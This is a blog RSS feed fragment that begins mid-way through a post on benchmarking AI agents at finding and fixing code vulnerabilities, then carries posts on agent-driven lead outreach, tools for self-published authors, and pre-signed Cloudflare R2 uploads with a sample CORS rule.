&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;benchmark:find&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;tsx src/index.ts --category find-vulns&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;benchmark:fix&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;tsx src/index.ts --category fix-vulns&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;benchmark:find:js&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;tsx src/index.ts --task js-find-vulns --config sonnet-4-6&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;the-metrics-that-matter&quot;&gt;The metrics that matter&lt;/h2&gt;
&lt;p&gt;Here’s a quick reference for everything the benchmark measures:&lt;/p&gt;
&lt;h3 id=&quot;quality-find-vulns&quot;&gt;Quality (find-vulns)&lt;/h3&gt;





























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Metric&lt;/th&gt;&lt;th&gt;What it tells you&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Recall&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Did the agent miss anything? 100% = found every real vuln&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Precision&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Did it cry wolf? 100% = every finding was a real vuln&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;F1 Score&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Balances both — the headline number for comparison&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;False positives&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;How noisy is the agent?&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;False negatives&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Which specific vulns did it miss?&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h3 id=&quot;quality-fix-vulns&quot;&gt;Quality (fix-vulns)&lt;/h3&gt;

















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Metric&lt;/th&gt;&lt;th&gt;What it tells you&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Vulns fixed / attempted&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Simple fix rate&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Judge notes&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Per-vulnerability verdict with brief explanation&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h3 id=&quot;session-cost--behavior&quot;&gt;Session cost &amp;#x26; behavior&lt;/h3&gt;









































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Metric&lt;/th&gt;&lt;th&gt;What it tells you&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Wall time&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;How long did the whole session take?&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Turns&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;How many API calls? (after dedup — see above)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Files scanned&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;How much of the codebase did it explore?&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;in / out tokens&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;New non-cached input and generated output&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;cache-read tokens&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Repeated context served cheaply from cache&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;cache-write tokens&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;New content being cached for future turns&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Tool calls / types&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;What tools, how many times, how fast&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Per-tool token estimates&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Which tools consume the most context?&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;hr&gt;
&lt;h2 id=&quot;things-that-surprised-us&quot;&gt;Things that surprised us&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Prompt caching dominates the token counts.&lt;/strong&gt; In a 5-turn session, we saw &lt;code&gt;in: 271, out: 134, cache-read: 65,172&lt;/code&gt;. The session consumed 65,172 tokens total but only 405 were “new” — the rest were cached. This is expected behavior, but it means “total tokens” is not a simple cost proxy.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Agent SDK fires multiple events per API response.&lt;/strong&gt; This wasn’t documented anywhere we could find. A single API call that returns &lt;code&gt;[thinking, tool_use]&lt;/code&gt; fires two &lt;code&gt;SDKAssistantMessage&lt;/code&gt; events with identical usage. If you don’t deduplicate, every metric is inflated by 2–6×.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer key isolation matters more than you think.&lt;/strong&gt; We tested with the vulns.json inside the fixture directory before catching this. Claude immediately reads every JSON file in its working directory as part of its initial exploration. It doesn’t know the file is supposed to be the answer key — it just reads whatever’s there.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comments in fixture code completely invalidate results.&lt;/strong&gt; Having &lt;code&gt;// VULN: SQL injection&lt;/code&gt; in your code is the same as handing the agent the answer sheet. The fixture should read like real code written by a developer who didn’t notice the issues.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;F1 is the right headline metric, but watch the components.&lt;/strong&gt; An agent can score 56% F1 with 100% recall and 38% precision — it found everything but hallucinated 8 extra vulnerabilities. A different agent might score 56% F1 with 56% recall and 56% precision — it found about half and was accurate. Same F1, very different behavior. Always look at recall and precision separately.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;where-to-take-it-from-here&quot;&gt;Where to take it from here&lt;/h2&gt;
&lt;p&gt;This framework is intentionally minimal — it does one thing well. Some directions worth exploring:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;More fixture types.&lt;/strong&gt; We have JavaScript and Python. Ruby, Go, Java, PHP are all easy additions. The loader picks up new tasks automatically from the JSON files.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;MCP server comparison.&lt;/strong&gt; The &lt;code&gt;RunConfig&lt;/code&gt; supports MCP servers natively. Add a config with a security-focused MCP server (Snyk, Semgrep, etc.) and compare its F1 against the baseline. That’s one JSON entry.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Replace the Agent SDK with a direct API loop.&lt;/strong&gt; The current runner depends on the Claude Code CLI being installed. An alternative is to build the agentic loop directly against &lt;code&gt;@anthropic-ai/sdk&lt;/code&gt;: call &lt;code&gt;messages.create()&lt;/code&gt; in a loop, implement tools (Read, Glob, Grep, Bash, Write, Edit) as local functions, feed results back as &lt;code&gt;tool_result&lt;/code&gt; blocks. No CLI dependency, full control over every hook and metric. The main unknowns are whether MCP server support is available without the CLI and how to replicate the per-tool timing hooks.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Scoring variants.&lt;/strong&gt; The current find-vulns scorer matches by vulnerability type only. You could add file-level matching (bonus points for finding the right file), severity weighting (critical vulns count more), or partial credit for finding a related but not exact type.&lt;/p&gt;
&lt;p&gt;The full source is organized like this:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;src/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  types.ts          # All interfaces — start here&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  runner.ts         # Agent SDK wrapper + metrics collection&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  scorer.ts         # Precision/recall/F1 and LLM judge&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  reporter.ts       # Console output + JSONL&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  evals/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    loader.ts       # Scans evals/tasks/*.json + evals/run-configs.json&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  index.ts          # CLI entry point&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;evals/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  tasks/            # One JSON per eval task — add here to add a task&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  run-configs.json  # Array of RunConfig objects&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;fixtures/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  js-vulns.json     # Ground truth (outside agent cwd!)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  js-vulns/         # Agent&apos;s working directory&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    app.js&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Happy benchmarking.&lt;/p&gt;</content:encoded></item><item><title>Agentic Growthhacking Tactics with Bots and AI</title><link>https://lirantal.com/blog/agentic-growthhacking-tactics-with-bots-and-ai/</link><guid>https://lirantal.com/blog/agentic-growthhacking-tactics-with-bots-and-ai/</guid><description>Examples of agentic growthhacking tactics using bots and AI, as well as strategies for sourcing user pain points on social media platforms.</description><pubDate>Sat, 28 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In this blog post, I explore and provide evidence of agentic growthhacking tactics using bots and AI, as well as strategies for sourcing user pain points on social media platforms.&lt;/p&gt;
&lt;h2 id=&quot;agentic-growthhacking-tactics-with-bots-and-ai&quot;&gt;Agentic Growthhacking Tactics with Bots and AI&lt;/h2&gt;
&lt;p&gt;In &lt;a href=&quot;https://x.com/browser_use/status/2016007244597616709&quot;&gt;this X post&lt;/a&gt;, the Browser Use team shared how they are using Clawdbot (an agentic bot framework) to automate growth-hacking, score leads, and alert their sales team:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;I told Clawdbot to run this every hour:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;– fetch the newest people who starred our GitHub&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;– enrich their profile using Browser Use sub-agents&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;– score fit (0–10) for sales and hiring&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;– if &gt;8 → send a Slack alert and reach out via Gmail MCP or LinkedIn&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/agent-clawdbot-browser-user.png&quot; alt=&quot;agentic growthhacking tactics with bots and AI&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;sourcing-pain-points-on-social&quot;&gt;Sourcing Pain Points on Social&lt;/h2&gt;
&lt;p&gt;Michael Feldstein from Cursor IDE, engages directly with users on X to source pain points and paper cuts they experience while using the product:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;cursor-paper-cuts-product-manager.png&quot; alt=&quot;product manager engages directly on X&quot;&gt;&lt;/p&gt;</content:encoded></item><item><title>Tools for Self-Published Authors</title><link>https://lirantal.com/blog/tools-for-self-published-authors/</link><guid>https://lirantal.com/blog/tools-for-self-published-authors/</guid><description>If you&apos;re starting out as a new author, you&apos;re going to need all  the help you can get. I curated a list of tools that can help you get started with publishing content and books.</description><pubDate>Sat, 22 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Writing is a lot of fun and a great way to express yourself, share knowledge,
and turn into a better teacher. It’s not easy, and takes a huge investment
and dedication to put written content together at high quality but if you’re
reading this, you’re probably enjoying it.&lt;/p&gt;
&lt;p&gt;So, how do we make it easier to write and publish content?&lt;/p&gt;
&lt;p&gt;In this article I am curating a list of resources, tools, and services that
make it easier to write and publish content. I am not affiliated with any of
these myself unless I’ve strictly written so, and I am not getting paid to
promote them.&lt;/p&gt;
&lt;h2 id=&quot;assisted-writing&quot;&gt;Assisted writing&lt;/h2&gt;
&lt;p&gt;English is not my first language, and I am not a native speaker. If you’re
in the same boat then you can easily relate to the difficulty in putting
sentences together.&lt;/p&gt;
&lt;p&gt;The following is a list of tools that can help you with writing,
phrasing and grammar review and suggestions.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.grammarly.com/&quot;&gt;Grammarly&lt;/a&gt; probably needs no introduction. It’s a pretty popular tool that
helps with anything from writing emails to blog posts. It’s also a great
tool for improving your writing and making it easier to read, especially
if you’re not a native speaker.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://hemingwayapp.com/&quot;&gt;Hemingway&lt;/a&gt; is a tool that helps you write better by highlighting
difficult-to-read sentences and common errors. It’s a great tool for
improving your writing and making it easier to read.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/2023-01-13-00-40-59.png&quot; alt=&quot;Hemingway app&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;colors-and-branding&quot;&gt;Colors and Branding&lt;/h2&gt;
&lt;p&gt;If you want to apply specific branding colors to your content, it’s a good
idea to use a tool that can help you with figuring out a color palette that
works well together.&lt;/p&gt;
&lt;p&gt;Here are those that I found very useful and am using myself for my own
books:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://lokeshdhakar.com/projects/color-thief/&quot;&gt;Color Thief&lt;/a&gt; - A tool that extracts the dominant color or a representative color palette from an image.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://coolors.co/&quot;&gt;Coolors&lt;/a&gt; - A super fast color schemes generator.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.tints.dev/brand/2522FC&quot;&gt;Tints.dev&lt;/a&gt; - A tool that helps you generate a color palette based on a single color, and aims at &lt;code&gt;TailwindCSS&lt;/code&gt; users.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://uicolors.app/create&quot;&gt;UI Colors&lt;/a&gt; - A tool that helps you generate a color palette based on a single color and provides a CSS snippet for you to use with the &lt;code&gt;TailwindCSS&lt;/code&gt; framework.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;publishing-content&quot;&gt;Publishing content&lt;/h2&gt;
&lt;p&gt;Once you’ve got your content written, you need to publish it. Publishing
content means essentially that you need to convert raw text content into
a published format. This can be an online HTML version of a book, or a
digital book such as a PDF or ePub.&lt;/p&gt;
&lt;p&gt;The following are tools that can help you with creating a published
format of your raw content into a distributed format, such as a PDF or
ePub.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://magicauthor.com/&quot;&gt;Magic author&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;courses-creation-and-hosting&quot;&gt;Courses creation and hosting&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mirio.org/&quot;&gt;Mirio&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://scrimba.com/&quot;&gt;scrimba&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.lighthall.co&quot;&gt;Lighthall&lt;/a&gt; - Fun, live interactive classes with teachers.&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>Pre‑Signed URL Upload Architecture (Cloudflare R2 + Hono Workers)</title><link>https://lirantal.com/blog/pre-signed-url-upload-architecture-cloudflare-r2-hono-workers/</link><guid>https://lirantal.com/blog/pre-signed-url-upload-architecture-cloudflare-r2-hono-workers/</guid><description>The following is a reference implementation and architecture for secure direct browser uploads to Cloudflare R2 using pre-signed URLs generated by a Hono application on Cloudflare Workers.</description><pubDate>Wed, 15 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This write-up describes a reference architecture for secure, direct browser uploads and downloads to Cloudflare R2 using time‑limited pre‑signed URLs generated by a Hono application on Cloudflare Workers. It covers flows, contracts, security decisions, and pitfalls.&lt;/p&gt;
&lt;h2 id=&quot;components&quot;&gt;Components&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Hono API (Cloudflare Workers)
&lt;ul&gt;
&lt;li&gt;Authentication: Better Auth&lt;/li&gt;
&lt;li&gt;Database: Postgres via Drizzle ORM&lt;/li&gt;
&lt;li&gt;Storage: Cloudflare R2 (S3‑compatible)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Frontend SPA (Nuxt)
&lt;ul&gt;
&lt;li&gt;Performs direct PUT uploads and GET downloads via pre‑signed URLs&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;environment-and-bindings&quot;&gt;Environment and Bindings&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Worker binds the bucket as &lt;code&gt;env.GALLERY&lt;/code&gt; (bucket name: &lt;code&gt;gallery&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Secrets required: &lt;code&gt;CLOUDFLARE_ACCOUNT_ID&lt;/code&gt;, &lt;code&gt;R2_ACCESS_KEY_ID&lt;/code&gt;, &lt;code&gt;R2_SECRET_ACCESS_KEY&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;R2 signing uses the npm package &lt;code&gt;aws4fetch&lt;/code&gt; (Workers‑compatible &lt;code&gt;fetch&lt;/code&gt; + &lt;code&gt;SubtleCrypto&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;data-model-profile-images&quot;&gt;Data Model (Profile Images)&lt;/h2&gt;
&lt;p&gt;The primary use-case is user profile images with the following considerations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Each user can have at most one profile image.&lt;/li&gt;
&lt;li&gt;Profile image URLs are stable (no UUID per upload).&lt;/li&gt;
&lt;li&gt;Uploads overwrite the existing image (if any).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;user.image&lt;/code&gt; stores the object key (stable, no extension) in the &lt;code&gt;gallery&lt;/code&gt; bucket.&lt;/li&gt;
&lt;li&gt;First assignment persists a random UUID (no extension). Subsequent uploads overwrite the same object to avoid object sprawl.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;cors-policy-r2&quot;&gt;CORS Policy (R2)&lt;/h2&gt;
&lt;p&gt;R2 requires explicit header names (wildcards are unreliable). Example rule:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;rules&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;allowed&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;methods&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;PUT&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;GET&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;POST&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;DELETE&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;origins&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;*&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;headers&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;content-type&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;x-amz-meta-original-filename&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;x-amz-meta-uploaded-at&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;x-amz-meta-uploaded-by&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        ]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;exposeHeaders&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;ETag&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;maxAgeSeconds&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;3000&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  ]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;requestresponse-contracts-summary&quot;&gt;Request/Response Contracts (Summary)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Generic upload URL: &lt;code&gt;POST /api/uploads/pre-signed-url&lt;/code&gt; (UUID per object)&lt;/li&gt;
&lt;li&gt;Profile image upload URL (stable key): &lt;code&gt;POST /api/user/profile/image&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Request: &lt;code&gt;{ contentType: string, fileSize: number, originalFilename?: string }&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Response: &lt;code&gt;{ presignedUrl, key, contentType, fileSize, expiresIn: 86400, uploadedBy, uploadedAt, originalFilename }&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Frontend must upload with headers:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Content-Type: &amp;#x3C;file.type&gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;x-amz-meta-original-filename: &amp;#x3C;originalFilename&gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;x-amz-meta-uploaded-by: &amp;#x3C;uploadedBy&gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;x-amz-meta-uploaded-at: &amp;#x3C;uploadedAt&gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Do not set &lt;code&gt;Content-Length&lt;/code&gt; manually.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Profile image download URL: &lt;code&gt;GET /api/user/profile/image&lt;/code&gt; → returns pre‑signed GET URL (default 3600s).&lt;/li&gt;
&lt;/ul&gt;
